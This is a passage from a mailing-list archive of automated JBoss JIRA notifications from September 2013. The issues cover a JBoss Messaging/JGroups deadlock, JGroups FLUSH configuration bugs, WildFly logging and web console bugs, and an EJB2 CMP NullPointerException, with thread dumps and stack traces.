>     "outcome" => "failed",
>     "failure-description" => "JBAS014807: Management resource '[
>     (\"subsystem\" => \"resource-adapters\"),
>     (\"resource-adapter\" => \"wmq.jmsra.rar\"),
>     (\"connection-definitions\" => \"java:jboss/MQQueueCONNECTIONFACTORY\")
> ]' not found",
>     "rolled-back" => true,
>     "response-headers" => {"process-state" => "reload-required"}
> }
> {noformat}
> Path values of {{connection-definitions}} and {{admin-objects}} are just their names, not JNDI names.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 03:23:03 2013
From: jira-events at lists.jboss.org (Yong Hao Gao (JIRA))
Date: Tue, 17 Sep 2013 03:23:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBMESSAGING-1947) Deadlock may happen
 when JBM shuts down a JGroups channel
In-Reply-To: <JIRA.12500811.1379402556874@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500811.1379402556874@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500811.1379402556874.29386.1379402583496@jira02.app.mwc.hst.phx2.redhat.com>

Yong Hao Gao created JBMESSAGING-1947:
-----------------------------------------

             Summary: Deadlock may happen when JBM shuts down a JGroups channel
                 Key: JBMESSAGING-1947
                 URL: https://issues.jboss.org/browse/JBMESSAGING-1947
             Project: JBoss Messaging
          Issue Type: Feature Request
          Components: JMS Clustering
    Affects Versions: 1.4.8.SP9, 1.4.0.SP3.CP14
            Reporter: Yong Hao Gao
            Assignee: Yong Hao Gao
             Fix For: 1.4.0.SP3.CP15, 1.4.8.SP10


from Dennis:

On 2013-09-16 20:37:51, Reed, Dennis commented:
"The latest issue is a deadlock caused by JBoss Messaging.

JBoss Messaging is closing the JGroups channel.

This thread is waiting for a DISCONNECT_OK message from JGroups.
This thread is holding a lock on a MessagingPostOffice$StateMonitor.

  "Thread-29" prio=10 tid=0x00007f2e70f90000 nid=0xdc3 in Object.wait() [0x00007f2e590ce000]
       ...
       at org.jgroups.util.Promise.getResult(Promise.java:77)
       at org.jgroups.JChannel.disconnect(JChannel.java:473)
       ...
       at org.jgroups.JChannel.close(JChannel.java:498)
       at org.jboss.messaging.core.impl.postoffice.GroupMember.stop(GroupMember.java:250)
       ...
       at org.jboss.messaging.core.impl.postoffice.MessagingPostOffice$StateMonitor.run(MessagingPostOffice.java:4284)
       - locked <0x00000000e2f1d3e8> (a org.jboss.messaging.core.impl.postoffice.MessagingPostOffice$StateMonitor)

Another thread is blocking while processing a new view.  (This is BAD and should never be done!!!).

This thread is waiting for the MessagingPostOffice$StateMonitor locked in the thread above.
This thread is holding a lock on the view object in JGroups.

   "IncomingMessageHandler (channel=MessagingPostOffice-CTRL)" daemon prio=10 tid=0x00007f2e70f66800 nid=0xdad waiting for monitor entry [0x00007f2e596d3000]
      java.lang.Thread.State: BLOCKED (on object monitor)
       at org.jboss.messaging.core.impl.postoffice.MessagingPostOffice$StateMonitor.stopJBMNodeForRecovery(MessagingPostOffice.java:4264)
       - waiting to lock <0x00000000e2f1d3e8> (a org.jboss.messaging.core.impl.postoffice.MessagingPostOffice$StateMonitor)
       at org.jboss.messaging.core.impl.postoffice.MessagingPostOffice.quarantine(MessagingPostOffice.java:1765)
       at org.jboss.messaging.core.impl.postoffice.MessagingPostOffice.nodesLeft(MessagingPostOffice.java:1585)
       at org.jboss.messaging.core.impl.postoffice.GroupMember$ControlMembershipListener.viewAccepted(GroupMember.java:609)
       at org.jgroups.blocks.MessageDispatcher$ProtocolAdapter.passUp(MessageDispatcher.java:737)
       at org.jgroups.blocks.RequestCorrelator.receive(RequestCorrelator.java:372)
       at org.jgroups.blocks.MessageDispatcher$ProtocolAdapter.up(MessageDispatcher.java:779)
       at org.jgroups.JChannel.up(JChannel.java:1090)
       ...
       at org.jgroups.protocols.pbcast.GMS.installView(GMS.java:508)
       - locked <0x00000000e290d740> (a org.jgroups.Membership)
       at org.jgroups.protocols.pbcast.GMS.installView(GMS.java:422)
       ...

The thread that is trying to send the DISCONNECT_OK is blocked waiting on the view object locked by the thread above:

   "ViewHandler" prio=10 tid=0x00007f2e7800e800 nid=0xe93 waiting for monitor entry [0x00007f2e58ecd000]
      java.lang.Thread.State: BLOCKED (on object monitor)
       at org.jgroups.protocols.pbcast.GMS.getNextView(GMS.java:283)
       - waiting to lock <0x00000000e290d740> (a org.jgroups.Membership)
       at org.jgroups.protocols.pbcast.CoordGmsImpl.handleMembershipChange(CoordGmsImpl.java:480)
       at org.jgroups.protocols.pbcast.GMS$ViewHandler.process(GMS.java:1418)
       at org.jgroups.protocols.pbcast.GMS$ViewHandler.run(GMS.java:1355)
       at java.lang.Thread.run(Thread.java:662)"



--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 03:27:03 2013
From: jira-events at lists.jboss.org (shen kim (JIRA))
Date: Tue, 17 Sep 2013 03:27:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1697) Timeout in FLUSH will block
	all cluster
In-Reply-To: <JIRA.12500812.1379402738437@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500812.1379402738437@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500812.1379402738437.29389.1379402823399@jira02.app.mwc.hst.phx2.redhat.com>

shen kim created JGRP-1697:
------------------------------

             Summary: Timeout in FLUSH will block all cluster
                 Key: JGRP-1697
                 URL: https://issues.jboss.org/browse/JGRP-1697
             Project: JGroups
          Issue Type: Feature Request
         Environment: 3.4.0.Alpha2
            Reporter: shen kim
            Assignee: Bela Ban


When I defined FLUSH like this:
<UDP />
<PING />
<MERGE2 />
<FD_SOCK />
<FD_ALL />
<VERIFY_SUSPECT />
<pbcast.NAKACK2 />
<UNICAST3 />
<pbcast.STABLE />
<pbcast.GMS />
<UFC />
<MFC />
<FRAG2 />
<pbcast.STATE_TRANSFER />
<pbcast.FLUSH timeout="0"/>

If I set timeout to 0, and sending message to all cluster, the all cluster would be block until the new member join cluster.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 03:53:03 2013
From: jira-events at lists.jboss.org (jaikiran pai (JIRA))
Date: Tue, 17 Sep 2013 03:53:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2093) No any log generated after
 changing periodic-rotating-file-handler to size-rotating-file-handler
In-Reply-To: <JIRA.12500810.1379401775000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500810.1379401775000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500810.1379401775000.29427.1379404383596@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2093?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804913#comment-12804913 ] 

jaikiran pai commented on WFLY-2093:
------------------------------------

Is this a problem against latest nightly build too https://community.jboss.org/thread/224262?

                
> No any log generated after changing periodic-rotating-file-handler to size-rotating-file-handler
> ------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-2093
>                 URL: https://issues.jboss.org/browse/WFLY-2093
>             Project: WildFly
>          Issue Type: Bug
>          Components: Logging
>            Reporter: Xiaohui Wu
>            Assignee: James Perkins
>
> There is no any log in the server.log after changing periodic-rotating-file-handler to size-rotating-file-handler.
> The reproduce steps:
> 1. remove the part periodic-rotating-file-handler in standalone.xml
>             <periodic-rotating-file-handler name="FILE">
>                 <formatter>
>                     <pattern-formatter pattern="%d{HH:mm:ss.SSS} %-5p [%c] (%t) %s%E%n"/>
>                 </formatter>
>                 <file relative-to="jboss.server.log.dir" path="server.log"/>
>                 <suffix value=".yyyy-MM-dd"/>
>                 <append value="true"/>
>             </periodic-rotating-file-handler>
> 2. add one size-rotating-file-handler
>             <size-rotating-file-handler name="FILE" autoflush="true">
>                 <formatter>
>                     <pattern-formatter pattern="%d{HH:mm:ss,SSS} %-5p (%c) [%t] %s%E%n"/>
>                 </formatter>
>                 <file relative-to="jboss.server.log.dir" path="server.log"/>
>                 <rotate-size value="500k"/>
>                 <max-backup-index value="15"/>
>                 <append value="true"/>
>             </size-rotating-file-handler>
> 3. start the jboss server, then you will see there is a warning in the server.log and no any further logs in the server.log.
> 13:23:28,205 WARN  [org.jboss.as.logging] (Controller Boot Thread) JBAS011511: Replacing handler 'FILE' during add operation. Either the handler type or the module name differs from the initial configuration.
> The possible fix: 
> https://issues.jboss.org/browse/WFLY-178 the code change is in https://github.com/wildfly/wildfly/pull/4137 
> and the bugzilla is in EAP6.1.0: 
> https://bugzilla.redhat.com/show_bug.cgi?id=918103
> But this issue still exists in 6.1.1
> Best Regards,
> Vicky

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 03:55:04 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Tue, 17 Sep 2013 03:55:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2092) Enable and disable feature of
 console for RA connection definitions and admin objects are broken
In-Reply-To: <JIRA.12500809.1379400223000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500809.1379400223000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500809.1379400223000.29433.1379404504245@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2092?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804914#comment-12804914 ] 

Heiko Braun commented on WFLY-2092:
-----------------------------------

Thanks for the comprehensive bug report.
                
> Enable and disable feature of console for RA connection definitions and admin objects are broken
> ------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-2092
>                 URL: https://issues.jboss.org/browse/WFLY-2092
>             Project: WildFly
>          Issue Type: Bug
>          Components: Web Console
>            Reporter: Osamu Nagano
>            Assignee: Heiko Braun
>
> Enable and Disable buttons of [Profile > Resource Adapters > View > Connection Definitions] (and Admin Objects too) send requests with wrong addresses.  It results in an unknown error message with the following contents.
> {noformat}
> Unexpected HTTP response: 500
> Request
> {
>     "address" => [
>         ("subsystem" => "resource-adapters"),
>         ("resource-adapter" => "wmq.jmsra.rar"),
>         ("connection-definitions" => "java:jboss/MQQueueCONNECTIONFACTORY")
>     ],
>     "operation" => "write-attribute",
>     "name" => "enabled",
>     "value" => true
> }
> Response
> Internal Server Error
> {
>     "outcome" => "failed",
>     "failure-description" => "JBAS014807: Management resource '[
>     (\"subsystem\" => \"resource-adapters\"),
>     (\"resource-adapter\" => \"wmq.jmsra.rar\"),
>     (\"connection-definitions\" => \"java:jboss/MQQueueCONNECTIONFACTORY\")
> ]' not found",
>     "rolled-back" => true,
>     "response-headers" => {"process-state" => "reload-required"}
> }
> {noformat}
> Path values of {{connection-definitions}} and {{admin-objects}} are just their names, not JNDI names.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 04:05:03 2013
From: jira-events at lists.jboss.org (shen kim (JIRA))
Date: Tue, 17 Sep 2013 04:05:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1698) Bypass on FLUSH
In-Reply-To: <JIRA.12500819.1379405023485@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500819.1379405023485@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500819.1379405023485.29458.1379405103478@jira02.app.mwc.hst.phx2.redhat.com>

shen kim created JGRP-1698:
------------------------------

             Summary: Bypass on FLUSH
                 Key: JGRP-1698
                 URL: https://issues.jboss.org/browse/JGRP-1698
             Project: JGroups
          Issue Type: Feature Request
         Environment: 3.4.0.Alpha2
            Reporter: shen kim
            Assignee: Bela Ban


When I used 
<pbcast.FLUSH bypass="true"/>
start cluster, all of members would receive null Message periodical.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 04:05:03 2013
From: jira-events at lists.jboss.org (shen kim (JIRA))
Date: Tue, 17 Sep 2013 04:05:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1698) Bypass on FLUSH
In-Reply-To: <JIRA.12500819.1379405023000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500819.1379405023000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500819.1379405023000.29460.1379405103742@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1698?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

shen kim updated JGRP-1698:
---------------------------

    Issue Type: Bug  (was: Feature Request)

    
> Bypass on FLUSH
> ---------------
>
>                 Key: JGRP-1698
>                 URL: https://issues.jboss.org/browse/JGRP-1698
>             Project: JGroups
>          Issue Type: Bug
>         Environment: 3.4.0.Alpha2
>            Reporter: shen kim
>            Assignee: Bela Ban
>
> When I used 
> <pbcast.FLUSH bypass="true"/>
> start cluster, all of members would receive null Message periodical.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 04:07:03 2013
From: jira-events at lists.jboss.org (shen kim (JIRA))
Date: Tue, 17 Sep 2013 04:07:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1697) Timeout in FLUSH will block
	all cluster
In-Reply-To: <JIRA.12500812.1379402738000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500812.1379402738000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500812.1379402738000.29464.1379405223940@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1697?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

shen kim updated JGRP-1697:
---------------------------

    Issue Type: Bug  (was: Feature Request)

    
> Timeout in FLUSH will block all cluster
> ---------------------------------------
>
>                 Key: JGRP-1697
>                 URL: https://issues.jboss.org/browse/JGRP-1697
>             Project: JGroups
>          Issue Type: Bug
>         Environment: 3.4.0.Alpha2
>            Reporter: shen kim
>            Assignee: Bela Ban
>
> When I defined FLUSH like this:
> <UDP />
> <PING />
> <MERGE2 />
> <FD_SOCK />
> <FD_ALL />
> <VERIFY_SUSPECT />
> <pbcast.NAKACK2 />
> <UNICAST3 />
> <pbcast.STABLE />
> <pbcast.GMS />
> <UFC />
> <MFC />
> <FRAG2 />
> <pbcast.STATE_TRANSFER />
> <pbcast.FLUSH timeout="0"/>
> If I set timeout to 0, and sending message to all cluster, the all cluster would be block until the new member join cluster.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 04:17:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Tue, 17 Sep 2013 04:17:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1697) Timeout in FLUSH will block
	all cluster
In-Reply-To: <JIRA.12500812.1379402738000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500812.1379402738000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500812.1379402738000.29489.1379405823626@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1697?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Bela Ban updated JGRP-1697:
---------------------------

    Fix Version/s: 3.5


Please add steps to reproduce.
                
> Timeout in FLUSH will block all cluster
> ---------------------------------------
>
>                 Key: JGRP-1697
>                 URL: https://issues.jboss.org/browse/JGRP-1697
>             Project: JGroups
>          Issue Type: Bug
>         Environment: 3.4.0.Alpha2
>            Reporter: shen kim
>            Assignee: Bela Ban
>             Fix For: 3.5
>
>
> When I defined FLUSH like this:
> <UDP />
> <PING />
> <MERGE2 />
> <FD_SOCK />
> <FD_ALL />
> <VERIFY_SUSPECT />
> <pbcast.NAKACK2 />
> <UNICAST3 />
> <pbcast.STABLE />
> <pbcast.GMS />
> <UFC />
> <MFC />
> <FRAG2 />
> <pbcast.STATE_TRANSFER />
> <pbcast.FLUSH timeout="0"/>
> If I set timeout to 0, and sending message to all cluster, the all cluster would be block until the new member join cluster.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 04:19:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Tue, 17 Sep 2013 04:19:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1698) Bypass on FLUSH
In-Reply-To: <JIRA.12500819.1379405023000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500819.1379405023000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500819.1379405023000.29493.1379405943939@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1698?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Bela Ban updated JGRP-1698:
---------------------------

    Fix Version/s: 3.5


You provided absolutely no information with this issue ! You need to provide
* steps to reproduce
* version
* configuration etc
                
> Bypass on FLUSH
> ---------------
>
>                 Key: JGRP-1698
>                 URL: https://issues.jboss.org/browse/JGRP-1698
>             Project: JGroups
>          Issue Type: Bug
>         Environment: 3.4.0.Alpha2
>            Reporter: shen kim
>            Assignee: Bela Ban
>             Fix For: 3.5
>
>
> When I used 
> <pbcast.FLUSH bypass="true"/>
> start cluster, all of members would receive null Message periodical.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 04:31:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 17 Sep 2013 04:31:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-49) EJB2 CMP - NullPointerException
 if the entity-bean.bean-instance-pool is configured
In-Reply-To: <JIRA.12483529.1359133735000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12483529.1359133735000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12483529.1359133735000.29531.1379406664585@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-49?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804926#comment-12804926 ] 

RH Bugzilla Integration commented on WFLY-49:
---------------------------------------------

Jan Martiska <jmartisk at redhat.com> made a comment on [bug 911297|https://bugzilla.redhat.com/show_bug.cgi?id=911297]

Verified in EAP 6.2.0.ER1. 
The newly implemented test is passing.
                
> EJB2 CMP - NullPointerException if the entity-bean.bean-instance-pool is configured
> -----------------------------------------------------------------------------------
>
>                 Key: WFLY-49
>                 URL: https://issues.jboss.org/browse/WFLY-49
>             Project: WildFly
>          Issue Type: Bug
>          Components: EJB
>         Environment: *full* profiles with configured CMP subsystem and added configuration of entity-bean instance pool
>            Reporter: Wolf-Dieter Fink
>            Assignee: Wolf-Dieter Fink
>              Labels: ejb, entitybean
>             Fix For: 8.0.0.Alpha1
>
>
> If the pool for entity-bean instances is added to the ejb3 subsystem and CMP is used a NullPointerException is thrown if the instances is obtained from the instance-pool. This will be the second access to the entity.
> The problem is that the PersistenceContext is not set correct if the instance is obtained from the pool.
> Caused by: java.lang.NullPointerException
> 	at org.jboss.as.cmp.jdbc.bridge.JDBCCMP2xFieldBridge.getFieldState(JDBCCMP2xFieldBridge.java:293) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.as.cmp.jdbc.bridge.JDBCCMP2xFieldBridge.getLoadedState(JDBCCMP2xFieldBridge.java:275) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.as.cmp.jdbc.bridge.JDBCCMP2xFieldBridge.getInstanceValue(JDBCCMP2xFieldBridge.java:175) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.as.cmp.jdbc.bridge.JDBCAbstractCMPFieldBridge.getValue(JDBCAbstractCMPFieldBridge.java:196) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.as.cmp.bridge.EntityBridgeInvocationHandler$FieldGetInvoker.invoke(EntityBridgeInvocationHandler.java:99) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.as.cmp.bridge.EntityBridgeInvocationHandler.invoke(EntityBridgeInvocationHandler.java:69) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.as.cmp.component.CmpEntityBeanInvocationHandler.invoke(CmpEntityBeanInvocationHandler.java:61) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at de.wfink.ejb21.cmp.BigEntityBean$$$cmp6.getId(Unknown Source) [ejb.jar:]
> 	at de.wfink.ejb21.cmp.BigEntityBean.getDTO(BigEntityBean.java:122) [ejb.jar:]
> 	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) [rt.jar:1.7.0_09-icedtea]
> 	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57) [rt.jar:1.7.0_09-icedtea]
> 	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) [rt.jar:1.7.0_09-icedtea]
> 	at java.lang.reflect.Method.invoke(Method.java:601) [rt.jar:1.7.0_09-icedtea]
> 	at org.jboss.as.ee.component.ManagedReferenceMethodInterceptorFactory$ManagedReferenceMethodInterceptor.processInvocation(ManagedReferenceMethodInterceptorFactory.java:72) [jboss-as-ee-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.invocation.WeavedInterceptor.processInvocation(WeavedInterceptor.java:53) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ee.component.interceptors.UserInterceptorFactory$1.processInvocation(UserInterceptorFactory.java:58) [jboss-as-ee-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.invocation.WeavedInterceptor.processInvocation(WeavedInterceptor.java:53) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ee.component.interceptors.UserInterceptorFactory$1.processInvocation(UserInterceptorFactory.java:58) [jboss-as-ee-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ejb3.component.invocationmetrics.ExecutionTimeInterceptor.processInvocation(ExecutionTimeInterceptor.java:43) [jboss-as-ejb3-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ejb3.component.entity.interceptors.EntityBeanReentrancyInterceptor.processInvocation(EntityBeanReentrancyInterceptor.java:49) [jboss-as-ejb3-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ejb3.component.entity.interceptors.EntityBeanSynchronizationInterceptor.processInvocation(EntityBeanSynchronizationInterceptor.java:123) [jboss-as-ejb3-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.as.cmp.component.interceptors.CmpEntityBeanSynchronizationInterceptor.processInvocation(CmpEntityBeanSynchronizationInterceptor.java:67) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.invocation.InitialInterceptor.processInvocation(InitialInterceptor.java:21) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.invocation.ChainedInterceptor.processInvocation(ChainedInterceptor.java:61) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ee.component.interceptors.ComponentDispatcherInterceptor.processInvocation(ComponentDispatcherInterceptor.java:53) [jboss-as-ee-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ejb3.component.entity.interceptors.EntityBeanAssociatingInterceptor.processInvocation(EntityBeanAssociatingInterceptor.java:79) [jboss-as-ejb3-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:288) [jboss-invocation-1.1.1.Final.jar:1.1.1.Final]
> 	at org.jboss.as.ejb3.tx.CMTTxInterceptor.invokeInCallerTx(CMTTxInterceptor.java:226) [jboss-as-ejb3-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	... 82 more

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep 17 04:31:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 17 Sep 2013 04:31:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-49) EJB2 CMP - NullPointerException
 if the entity-bean.bean-instance-pool is configured
In-Reply-To: <JIRA.12483529.1359133735000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12483529.1359133735000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12483529.1359133735000.29537.1379406664924@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-49?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804927#comment-12804927 ] 

RH Bugzilla Integration commented on WFLY-49:
---------------------------------------------

Jan Martiska <jmartisk at redhat.com> changed the Status of [bug 911297|https://bugzilla.redhat.com/show_bug.cgi?id=911297] from ON_QA to VERIFIED
                
> EJB2 CMP - NullPointerException if the entity-bean.bean-instance-pool is configured
> -----------------------------------------------------------------------------------
>
>                 Key: WFLY-49
>                 URL: https://issues.jboss.org/browse/WFLY-49
>             Project: WildFly
>          Issue Type: Bug
>          Components: EJB
>         Environment: *full* profiles with configured CMP subsystem and added configuration of entity-bean instance pool
>            Reporter: Wolf-Dieter Fink
>            Assignee: Wolf-Dieter Fink
>              Labels: ejb, entitybean
>             Fix For: 8.0.0.Alpha1
>
>
> If the pool for entity-bean instances is added to the ejb3 subsystem and CMP is used a NullPointerException is thrown if the instances is obtained from the instance-pool. This will be the second access to the entity.
> The problem is that the PersistenceContext is not set correct if the instance is obtained from the pool.
> Caused by: java.lang.NullPointerException
> 	at org.jboss.as.cmp.jdbc.bridge.JDBCCMP2xFieldBridge.getFieldState(JDBCCMP2xFieldBridge.java:293) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.as.cmp.jdbc.bridge.JDBCCMP2xFieldBridge.getLoadedState(JDBCCMP2xFieldBridge.java:275) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.as.cmp.jdbc.bridge.JDBCCMP2xFieldBridge.getInstanceValue(JDBCCMP2xFieldBridge.java:175) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
> 	at org.jboss.as.cmp.jdbc.bridge.JDBCAbstractCMPFieldBridge.getValue(JDBCAbstractCMPFieldBridge.java:196) [jboss-as-cmp-7.2.0.Alpha1-SNAPSHOT.jar:7.2.0.Alpha1-SNAPSHOT]
